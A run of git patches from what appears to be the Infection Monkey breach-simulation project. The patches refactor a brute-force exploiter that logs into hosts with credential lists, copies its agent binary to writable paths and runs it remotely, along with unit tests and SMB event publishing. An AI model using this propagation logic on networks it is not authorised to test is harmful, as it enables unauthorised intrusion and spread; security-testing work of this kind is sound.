@@ -101,19 +103,17 @@ def run_brute_force_exploiter( ) -def test_exploit_host__exploit_succeeds(brute_force_exploiter: BruteForceExploiter): - result = run_brute_force_exploiter(brute_force_exploiter) - assert result.exploitation_success - assert result.propagation_success - - -def test_exploit_host__propagation_succeeds( - brute_force_exploiter: BruteForceExploiter, +def test_exploit_host__exploit_succeeds( + brute_force_exploiter: BruteForceExploiter, mock_agent_event_publisher: IAgentEventPublisher ): result = run_brute_force_exploiter(brute_force_exploiter) - assert result.exploitation_success assert result.propagation_success + published_events = mock_agent_event_publisher.get_published_events() + assert ExploitationEvent in [type(event) for event in published_events] + assert any(event.success for event in published_events if type(event) == ExploitationEvent) + assert PropagationEvent in [type(event) for event in published_events] + assert any(event.success for event in published_events if type(event) == PropagationEvent) def test_exploit_host__copy_fails( @@ -190,45 +190,64 @@ def test_exploit_host__build_command( def test_exploit_host__execute_detached_fails( brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, + mock_agent_event_publisher: IAgentEventPublisher, ): - mock_exploit_client.execute_detached.side_effect = Exception() + mock_exploit_client.execute_detached.side_effect = RemoteCommandExecutionError() result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success assert not result.propagation_success + published_events = mock_agent_event_publisher.get_published_events() + assert PropagationEvent in [type(event) for event in published_events] + assert not any( + event.success for event in published_events if isinstance(event, PropagationEvent) + ) def test_exploit_host__exploit_fails_on_remote_authentication_error( brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, + mock_agent_event_publisher: IAgentEventPublisher, ): mock_exploit_client.login.side_effect = RemoteAuthenticationError() result = run_brute_force_exploiter(brute_force_exploiter) assert not result.exploitation_success assert not result.propagation_success + published_events = mock_agent_event_publisher.get_published_events() + assert ExploitationEvent in [type(event) for event in published_events] + assert not any( + event.success for event in published_events if isinstance(event, ExploitationEvent) + ) + assert PropagationEvent not in [type(event) for event in published_events] -def test_exploit_host__exploit_fails_on_authentication_error( - brute_force_exploiter: BruteForceExploiter, - mock_exploit_client: IRemoteAccessClient, -): - mock_exploit_client.login.side_effect = Exception() +# def test_exploit_host__exploit_fails_on_authentication_error( +# brute_force_exploiter: BruteForceExploiter, +# mock_exploit_client: IRemoteAccessClient, +# ): +# mock_exploit_client.login.side_effect = Exception() - result = run_brute_force_exploiter(brute_force_exploiter) - assert not result.exploitation_success - assert not result.propagation_success +# result = run_brute_force_exploiter(brute_force_exploiter) +# assert not result.exploitation_success +# assert not result.propagation_success def test_exploit_host__propagation_fails_on_execute_error( brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, + mock_agent_event_publisher: IAgentEventPublisher, ): mock_exploit_client.execute_detached.side_effect = Exception() result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success assert not result.propagation_success + published_events = mock_agent_event_publisher.get_published_events() + assert PropagationEvent not in [type(event) for event in published_events] + assert not any( + event.success for event in published_events if isinstance(event, PropagationEvent) + ) def test_exploit_host__exploit_skipped_on_interrupt( From 6e6194ba13807b739575f419bf89573204311575 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 13:03:47 -0400 Subject: [PATCH 0791/1338] UT: Make BruteForeExploiter tests follow AAA pattern --- .../exploit/tools/test_brute_force_exploiter.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index b7ff9cfd68c..c7b5ba1c679 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -195,9 +195,10 @@ def test_exploit_host__execute_detached_fails( mock_exploit_client.execute_detached.side_effect = RemoteCommandExecutionError() result = run_brute_force_exploiter(brute_force_exploiter) + published_events = mock_agent_event_publisher.get_published_events() + assert result.exploitation_success assert not result.propagation_success - published_events = mock_agent_event_publisher.get_published_events() assert PropagationEvent in [type(event) for event in published_events] assert not any( event.success for event in published_events if isinstance(event, PropagationEvent) @@ -212,9 +213,10 @@ def test_exploit_host__exploit_fails_on_remote_authentication_error( mock_exploit_client.login.side_effect = RemoteAuthenticationError() result = run_brute_force_exploiter(brute_force_exploiter) + published_events = mock_agent_event_publisher.get_published_events() + assert not result.exploitation_success assert not result.propagation_success - published_events = mock_agent_event_publisher.get_published_events() assert ExploitationEvent in [type(event) for event in published_events] assert not any( event.success for event in published_events if isinstance(event, ExploitationEvent) @@ -241,9 +243,10 @@ def test_exploit_host__propagation_fails_on_execute_error( mock_exploit_client.execute_detached.side_effect = Exception() result = run_brute_force_exploiter(brute_force_exploiter) + published_events = mock_agent_event_publisher.get_published_events() + assert result.exploitation_success assert not result.propagation_success - published_events = mock_agent_event_publisher.get_published_events() assert PropagationEvent not in [type(event) for event in published_events] assert not any( event.success for event in published_events if isinstance(event, PropagationEvent) From 5f3f2f02b5f64bd3937b6fe39c15c0f4720ad0ca Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 13:04:23 -0400 Subject: [PATCH 0792/1338] UT: Remove commented out test --- .../exploit/tools/test_brute_force_exploiter.py | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index c7b5ba1c679..d2627ad429d 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -224,17 +224,6 @@ def test_exploit_host__exploit_fails_on_remote_authentication_error( assert PropagationEvent not in [type(event) for event in published_events] -# def test_exploit_host__exploit_fails_on_authentication_error( -# brute_force_exploiter: BruteForceExploiter, -# mock_exploit_client: IRemoteAccessClient, -# ): -# mock_exploit_client.login.side_effect = Exception() - -# result = run_brute_force_exploiter(brute_force_exploiter) -# assert not result.exploitation_success -# assert not result.propagation_success - - def test_exploit_host__propagation_fails_on_execute_error( brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, From d6b100657691daf762a83991af7bbc610b0605ac Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 17:12:14 +0000 Subject: [PATCH 0793/1338] SMB: Set timestamp before event occurs --- .../exploit/tools/brute_force_exploiter.py | 26 ++++++++++++++----- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 7bc8df48aa2..60fcec719e3 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -1,5 +1,4 @@ import logging -from contextlib import suppress from io import BytesIO from pathlib import PurePath from time import time @@ -102,12 +101,17 @@ def _exploit(self, exploit_client: IRemoteAccessClient, host: TargetHost, interr for brute_force_credentials in interruptible_iter(credential_combinations, interrupt): tags: MutableSet[str] = set() + timestamp = time() try: exploit_client.login(brute_force_credentials, tags) - self._publish_exploitation_event(host, success=True, tags=self._tags.union(tags)) + self._publish_exploitation_event( + host, success=True, time=timestamp, tags=self._tags.union(tags) + ) return except RemoteAuthenticationError: - self._publish_exploitation_event(host, success=False, tags=self._tags.union(tags)) + self._publish_exploitation_event( + host, success=False, time=timestamp, tags=self._tags.union(tags) + ) continue raise Exception("Failed to login with the given credentials") @@ -127,10 +131,15 @@ def _propagate( command = self._build_command(target_host_os, file_path, self._destination_path) tags: MutableSet[str] = set() try: + timestamp = time() exploit_client.execute_detached(command, tags) - self._publish_propagation_event(host, success=True, tags=self._tags.union(tags)) + self._publish_propagation_event( + host, success=True, time=timestamp, tags=self._tags.union(tags) + ) except RemoteCommandExecutionError: - self._publish_propagation_event(host, success=False, tags=self._tags.union(tags)) + self._publish_propagation_event( + host, success=False, time=timestamp, tags=self._tags.union(tags) + ) raise def _copy_file( @@ -143,6 +152,7 @@ def _copy_file( ) -> PurePath: file_data = file.getvalue() tags: MutableSet[str] = set() + timestamp = time() try: exploit_client.copy_file(file_data, destination, tags) return destination @@ -150,6 +160,7 @@ def _copy_file( self._publish_exploitation_event( host, success=False, + time=timestamp, tags=self._tags.union(tags), error_message=str(err), ) @@ -164,6 +175,7 @@ def _copy_file( self._publish_exploitation_event( host, success=False, + time=timestamp, tags=self._tags.union(tags), error_message=str(err), ) @@ -173,7 +185,7 @@ def _copy_file( def _publish_exploitation_event( self, target_host: TargetHost, - time: float = time(), + time: float, success: bool = False, tags: Set[str] = set(), error_message: str = "", @@ -192,7 +204,7 @@ def _publish_exploitation_event( def _publish_propagation_event( self, target_host: TargetHost, - time: float = time(), + time: float, success: bool = False, tags: Set[str] = set(), error_message: str = "", From 1c7c04506da2f2b19578cd5f8450367cff16c2af Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 17:15:54 +0000 Subject: [PATCH 0794/1338] UT: Test BrutForceExploiter._tags added to all events --- .../exploit/tools/test_brute_force_exploiter.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index d2627ad429d..0b27f498a36 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -110,6 +110,7 @@ def test_exploit_host__exploit_succeeds( assert result.exploitation_success assert result.propagation_success published_events = mock_agent_event_publisher.get_published_events() + assert [TAGS in event.tags for event in published_events] assert ExploitationEvent in [type(event) for event in published_events] assert any(event.success for event in published_events if type(event) == ExploitationEvent) assert PropagationEvent in [type(event) for event in published_events] @@ -199,6 +200,7 @@ def test_exploit_host__execute_detached_fails( assert result.exploitation_success assert not result.propagation_success + assert [TAGS in event.tags for event in published_events] assert PropagationEvent in [type(event) for event in published_events] assert not any( event.success for event in published_events if isinstance(event, PropagationEvent) @@ -217,6 +219,7 @@ def test_exploit_host__exploit_fails_on_remote_authentication_error( assert not result.exploitation_success assert not result.propagation_success + assert [TAGS in event.tags for event in published_events] assert ExploitationEvent in [type(event) for event in published_events] assert not any( event.success for event in published_events if isinstance(event, ExploitationEvent) @@ -236,6 +239,7 @@ def test_exploit_host__propagation_fails_on_execute_error( assert result.exploitation_success assert not result.propagation_success + assert [TAGS in event.tags for event in published_events] assert PropagationEvent not in [type(event) for event in published_events] assert not any( event.success for event in published_events if isinstance(event, PropagationEvent) From a7fa8db6ed997d7fbb3641695e6d070888e5e392 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 17:41:26 +0000 Subject: [PATCH 0795/1338] SMB: Add error message to all failed events --- .../exploit/tools/brute_force_exploiter.py | 20 +++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 60fcec719e3..2f92b06eb9a 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -108,9 +108,13 @@ def _exploit(self, exploit_client: IRemoteAccessClient, host: TargetHost, interr host, success=True, time=timestamp, tags=self._tags.union(tags) ) return - except RemoteAuthenticationError: + except RemoteAuthenticationError as err: self._publish_exploitation_event( - host, success=False, time=timestamp, tags=self._tags.union(tags) + host, + success=False, + time=timestamp, + tags=self._tags.union(tags), + error_message=str(err), ) continue @@ -136,9 +140,13 @@ def _propagate( self._publish_propagation_event( host, success=True, time=timestamp, tags=self._tags.union(tags) ) - except RemoteCommandExecutionError: + except RemoteCommandExecutionError as err: self._publish_propagation_event( - host, success=False, time=timestamp, tags=self._tags.union(tags) + host, + success=False, + time=timestamp, + tags=self._tags.union(tags), + error_message=str(err), ) raise @@ -157,7 +165,7 @@ def _copy_file( exploit_client.copy_file(file_data, destination, tags) return destination except RemoteFileCopyError as err: - self._publish_exploitation_event( + self._publish_propagation_event( host, success=False, time=timestamp, @@ -172,7 +180,7 @@ def _copy_file( exploit_client.copy_file(file_data, other_destination, tags) return other_destination except RemoteFileCopyError as err: - self._publish_exploitation_event( + self._publish_propagation_event( host, success=False, time=timestamp, From 83a538d94cccd8765e4a907eae05d1187e8d8095 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 17:42:30 +0000 Subject: [PATCH 0796/1338] UT: Test events when copy fails --- .../exploit/tools/test_brute_force_exploiter.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 0b27f498a36..ce24a43ba01 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -120,12 +120,17 @@ def test_exploit_host__exploit_succeeds( def test_exploit_host__copy_fails( brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, + mock_agent_event_publisher: IAgentEventPublisher, ): mock_exploit_client.copy_file.side_effect = RemoteFileCopyError() result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success assert not result.propagation_success + published_events = mock_agent_event_publisher.get_published_events() + assert [TAGS in event.tags for event in published_events] + assert PropagationEvent in [type(event) for event in published_events] + assert not any(event.success for event in published_events if type(event) == PropagationEvent) class get_other_paths: From 30982223854b94fd18009b72330b3f98eb3c859a Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 18:13:08 +0000 Subject: [PATCH 0797/1338] SMB: Only publish single event if all copy attempts fail --- .../exploit/tools/brute_force_exploiter.py | 48 ++++++++----------- 1 file changed, 20 insertions(+), 28 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 2f92b06eb9a..6ca336320ab 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -1,4 +1,5 @@ import logging +from contextlib import suppress from io import BytesIO from pathlib import PurePath from time import time @@ -128,14 +129,24 @@ def _propagate( ): target_host_os = exploit_client.get_os() agent_binary = self._agent_binary_repository.get_agent_binary(target_host_os) - file_path = self._copy_file( - agent_binary, self._destination_path, exploit_client, host, interrupt - ) + tags: MutableSet[str] = set() + timestamp = time() + try: + file_path = self._copy_file( + agent_binary, self._destination_path, tags, exploit_client, interrupt + ) + except RemoteFileCopyError as err: + self._publish_propagation_event( + host, + success=False, + time=timestamp, + tags=self._tags.union(tags), + error_message=str(err), + ) command = self._build_command(target_host_os, file_path, self._destination_path) - tags: MutableSet[str] = set() + tags = set() try: - timestamp = time() exploit_client.execute_detached(command, tags) self._publish_propagation_event( host, success=True, time=timestamp, tags=self._tags.union(tags) @@ -154,41 +165,22 @@ def _copy_file( self, file: BytesIO, destination: PurePath, + tags: MutableSet[str], exploit_client: IRemoteAccessClient, - host: TargetHost, interrupt: Event, ) -> PurePath: file_data = file.getvalue() - tags: MutableSet[str] = set() - timestamp = time() - try: + with suppress(RemoteFileCopyError): exploit_client.copy_file(file_data, destination, tags) return destination - except RemoteFileCopyError as err: - self._publish_propagation_event( - host, - success=False, - time=timestamp, - tags=self._tags.union(tags), - error_message=str(err), - ) other_destinations = exploit_client.get_writable_paths() for other_destination in interruptible_iter(other_destinations, interrupt): - tags = set() - try: + with suppress(RemoteFileCopyError): exploit_client.copy_file(file_data, other_destination, tags) return other_destination - except RemoteFileCopyError as err: - self._publish_propagation_event( - host, - success=False, - time=timestamp, - tags=self._tags.union(tags), - error_message=str(err), - ) - raise Exception("Failed to copy file") + raise RemoteFileCopyError("Failed to copy file") def _publish_exploitation_event( self, From 7e716530e2694ba2e312327e0d5d3ffd5f49bfe2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 14:22:38 -0400 Subject: [PATCH 0798/1338] UT: Improve test_exploit_host__copy_tries_other_paths() --- .../tools/test_brute_force_exploiter.py | 32 ++++++++++++------- 1 file changed, 21 insertions(+), 11 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index ce24a43ba01..718962e988e 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -2,7 +2,7 @@ from ipaddress import IPv4Address from pathlib import PurePath from threading import Event -from typing import Any, List +from typing import Any, List, MutableSet from unittest.mock import MagicMock from uuid import UUID @@ -133,26 +133,36 @@ def test_exploit_host__copy_fails( assert not any(event.success for event in published_events if type(event) == PropagationEvent) -class get_other_paths: - def __init__(self, copy_file: MagicMock): - self.copy_file = copy_file - self.called = False +WRITABLE_PATH = PurePath("c:\\writable_path") +WRITABLE_PATH_CANDIDATES = [ + PurePath("C:\\unwritable1"), + PurePath("C:\\unwritable2"), + PurePath("C:\\unwritable3"), + WRITABLE_PATH, + PurePath("C:\\unwritable4"), +] - def __call__(self, *args: Any, **kwds: Any) -> Any: - self.copy_file.side_effect = None - self.called = True - return [PurePath("other_path")] + +def mock_copy_file(_: bytes, destination_path: PurePath, __: MutableSet[str]) -> None: + if destination_path == WRITABLE_PATH: + return + + raise RemoteFileCopyError() def test_exploit_host__copy_tries_other_paths( brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, ): - mock_exploit_client.copy_file.side_effect = RemoteFileCopyError("Failed") - mock_exploit_client.get_writable_paths = get_other_paths(mock_exploit_client.copy_file) + mock_exploit_client.copy_file.side_effect = mock_copy_file + mock_exploit_client.get_writable_paths.return_value = WRITABLE_PATH_CANDIDATES result = run_brute_force_exploiter(brute_force_exploiter) + copy_file_called_with_paths = [c[0][1] for c in mock_exploit_client.copy_file.call_args_list] + assert mock_exploit_client.get_writable_paths.called + assert mock_exploit_client.copy_file.call_count == 5 + assert copy_file_called_with_paths == [DESTINATION_PATH, *WRITABLE_PATH_CANDIDATES[:-1]] assert result.exploitation_success assert result.propagation_success From 1d03457f4d2759540dbe214c0cf0ca72f99416e9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 14:42:42 -0400 Subject: [PATCH 0799/1338] Agent: Rename BruteForceExploiter._copy_{file,agent_binary}() --- .../exploit/tools/brute_force_exploiter.py | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 6ca336320ab..056875047e3 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -1,6 +1,5 @@ import logging from contextlib import suppress -from io import BytesIO from pathlib import PurePath from time import time from typing import Callable, Iterable, MutableSet, Set @@ -128,12 +127,12 @@ def _propagate( interrupt: Event, ): target_host_os = exploit_client.get_os() - agent_binary = self._agent_binary_repository.get_agent_binary(target_host_os) + tags: MutableSet[str] = set() timestamp = time() try: - file_path = self._copy_file( - agent_binary, self._destination_path, tags, exploit_client, interrupt + file_path = self._copy_agent_binary( + target_host_os, self._destination_path, tags, exploit_client, interrupt ) except RemoteFileCopyError as err: self._publish_propagation_event( @@ -161,23 +160,25 @@ def _propagate( ) raise - def _copy_file( + def _copy_agent_binary( self, - file: BytesIO, + target_host_os: OperatingSystem, destination: PurePath, tags: MutableSet[str], exploit_client: IRemoteAccessClient, interrupt: Event, ) -> PurePath: - file_data = file.getvalue() + agent_binary = self._agent_binary_repository.get_agent_binary(target_host_os) + agent_binary_bytes = agent_binary.getvalue() + with suppress(RemoteFileCopyError): - exploit_client.copy_file(file_data, destination, tags) + exploit_client.copy_file(agent_binary_bytes, destination, tags) return destination other_destinations = exploit_client.get_writable_paths() for other_destination in interruptible_iter(other_destinations, interrupt): with suppress(RemoteFileCopyError): - exploit_client.copy_file(file_data, other_destination, tags) + exploit_client.copy_file(agent_binary_bytes, other_destination, tags) return other_destination raise RemoteFileCopyError("Failed to copy file") From a6f0f1923bef61966522a82edb39c493dff18ccd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 14:48:43 -0400 Subject: [PATCH 0800/1338] Agent: `raise err` in BruteForceExploiter Explicit is better than implicit --- monkey/infection_monkey/exploit/tools/brute_force_exploiter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 056875047e3..8ceacd48a4c 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -158,7 +158,7 @@ def _propagate( tags=self._tags.union(tags), error_message=str(err), ) - raise + raise err def _copy_agent_binary( self, From 7cfda99a53569b76e458d4737b008a4609bcf4c2 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 10 Mar 2023 17:42:39 +0000 Subject: [PATCH 0801/1338] SMB: Add vulture entries --- vulture_allowlist.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 0bdffe66f2c..3a7ae7013c0 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -153,6 +153,11 @@ SMBOptions.agent_binary_upload_timeout SMBOptions.smb_connect_timeout +SMBOptions.agent_binary_upload_timeout +SMBOptions.use_kerberos +SMBOptions.rpc_connect_timeout +SMBOptions.smb_connect_timeout + # Remove after #3077 http_island_api_client.get_otp IslandAPIAgentOTPProvider From 5a9799ef06428d529ce17d6cc9e47d1a3c4f52aa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 14:57:12 -0400 Subject: [PATCH 0802/1338] Agent: Refactor BruteForceExploiter._propagate() --- .../exploit/tools/brute_force_exploiter.py | 36 ++++++++----------- 1 file changed, 15 insertions(+), 21 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 8ceacd48a4c..b67a706671c 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -127,39 +127,33 @@ def _propagate( interrupt: Event, ): target_host_os = exploit_client.get_os() - - tags: MutableSet[str] = set() + copy_file_tags: MutableSet[str] = set() + execute_command_tags: MutableSet[str] = set() timestamp = time() - try: - file_path = self._copy_agent_binary( - target_host_os, self._destination_path, tags, exploit_client, interrupt - ) - except RemoteFileCopyError as err: - self._publish_propagation_event( - host, - success=False, - time=timestamp, - tags=self._tags.union(tags), - error_message=str(err), - ) - command = self._build_command(target_host_os, file_path, self._destination_path) - tags = set() try: - exploit_client.execute_detached(command, tags) - self._publish_propagation_event( - host, success=True, time=timestamp, tags=self._tags.union(tags) + file_path = self._copy_agent_binary( + target_host_os, self._destination_path, copy_file_tags, exploit_client, interrupt ) - except RemoteCommandExecutionError as err: + command = self._build_command(target_host_os, file_path, self._destination_path) + exploit_client.execute_detached(command, execute_command_tags) + except (RemoteFileCopyError, RemoteCommandExecutionError) as err: self._publish_propagation_event( host, success=False, time=timestamp, - tags=self._tags.union(tags), + tags=self._tags.union(copy_file_tags, execute_command_tags), error_message=str(err), ) raise err + self._publish_propagation_event( + host, + success=True, + time=timestamp, + tags=self._tags.union(copy_file_tags, execute_command_tags), + ) + def _copy_agent_binary( self, target_host_os: OperatingSystem, From e0952bb41bb79fb33f107b7805a9f1597b27bc2b Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Mar 2023 20:25:33 +0000 Subject: [PATCH 0803/1338] SMB: Stub a few SMBExploitClient tests --- .../exploiters/smb/test_smb_exploit_client.py | 61 +++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py new file mode 100644 index 00000000000..bf0e9487dd0 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -0,0 +1,61 @@ +from ipaddress import IPv4Address +from typing import List +from unittest.mock import MagicMock + +import pytest +from agent_plugins.exploiters.smb.src.smb_exploit_client import SMBExploitClient +from agent_plugins.exploiters.smb.src.smb_options import SMBOptions +from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS + +from common import OperatingSystem +from common.agent_events import ExploitationEvent +from common.credentials import Credentials +from common.event_queue import IAgentEventPublisher +from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.i_puppet import TargetHost + + +@pytest.fixture +def mock_agent_event_publisher() -> IAgentEventPublisher: + return MagicMock(spec=IAgentEventPublisher) + + +@pytest.fixture +def mock_agent_binary_repository() -> IAgentBinaryRepository: + return MagicMock(spec=IAgentBinaryRepository) + + +@pytest.fixture +def mock_target_host() -> TargetHost: + return TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) + + +CREDENTIALS: List[Credentials] = [] + + +def test_authenticate__publishes_events( + mock_agent_event_publisher: IAgentEventPublisher, + mock_target_host: TargetHost, +): + exploit_client = SMBExploitClient(mock_agent_event_publisher) + exploit_client.authenticate(mock_target_host, SMBOptions(), FULL_CREDENTIALS) + + assert mock_agent_event_publisher.publish_event.called + published_events = mock_agent_event_publisher.publish.call_args_list + published_events = [param[0][0] for param in published_events] + + assert ExploitationEvent in [type(event) for event in published_events] + + +def test_authenticate__fails_if_no_credentials( + mock_agent_event_publisher: IAgentEventPublisher, + mock_target_host: TargetHost, +): + exploit_client = SMBExploitClient(mock_agent_event_publisher) + exploit_client.authenticate(mock_target_host, SMBOptions(), []) + + assert mock_agent_event_publisher.publish_event.called + published_events = mock_agent_event_publisher.publish.call_args_list + published_events = [param[0][0] for param in published_events] + + assert not all([event.exploitation_success for event in published_events]) From 37fd8969b29b41337d554d8482ac460d42ea5d55 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 14:59:12 -0400 Subject: [PATCH 0804/1338] Agent: Add debug logging to BruteForceExploiter._copy_agent_binary() --- monkey/infection_monkey/exploit/tools/brute_force_exploiter.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index b67a706671c..bec9bf92737 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -166,12 +166,14 @@ def _copy_agent_binary( agent_binary_bytes = agent_binary.getvalue() with suppress(RemoteFileCopyError): + logger.debug(f"Attemping to copy agent binary to {destination}") exploit_client.copy_file(agent_binary_bytes, destination, tags) return destination other_destinations = exploit_client.get_writable_paths() for other_destination in interruptible_iter(other_destinations, interrupt): with suppress(RemoteFileCopyError): + logger.debug(f"Attemping to copy agent binary to {other_destination}") exploit_client.copy_file(agent_binary_bytes, other_destination, tags) return other_destination From 85946bddb1db2e20feec68e62e2e68def386dd6d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Mar 2023 12:34:27 +0100 Subject: [PATCH 0805/1338] SMB: Publish events from SMBExploitClient --- .../exploiters/smb/src/smb_exploit_client.py | 25 ++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 98ff50b5bc7..8ed4e9b6a6b 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -44,23 +44,30 @@ def __init__( self._smb: Optional[SMBConnection] = None self._copied_file_details: Optional[CopiedFileDetails] = None self._authenticated_credentials: Optional[Credentials] = None + self._timestamp = time() def authenticate(self, credentials: Credentials) -> bool: """Returns True if authentication succeeded, False otherwise Side effect: The SMB connection is established on success""" + self._timestamp = time() + error_message = f"Failed to authentication using SMB with {credentials}" self._smb = create_smb_connection(self._host) if not self._smb: + self._publish_exploitation_event(self._timestamp, False, error_message=error_message) return False if not smb_login(self._smb, credentials): + self._publish_exploitation_event(self._timestamp, False, error_message=error_message) return False self._smb.setTimeout(self._options.smb_connect_timeout) if logout_guest(self._smb): + self._publish_exploitation_event(self._timestamp, False, error_message=error_message) return False + self._publish_exploitation_event(self._timestamp, True) self._authenticated_credentials = credentials return True @@ -78,6 +85,11 @@ def execute( raise Exception("Not authenticated") rpc = self._connect_rpc(self._authenticated_credentials, self._options.smb_connect_timeout) + if not rpc: + error_message = "Failed to establish an RPC connection over SMB" + self._publish_propagation_event(self._timestamp, False, 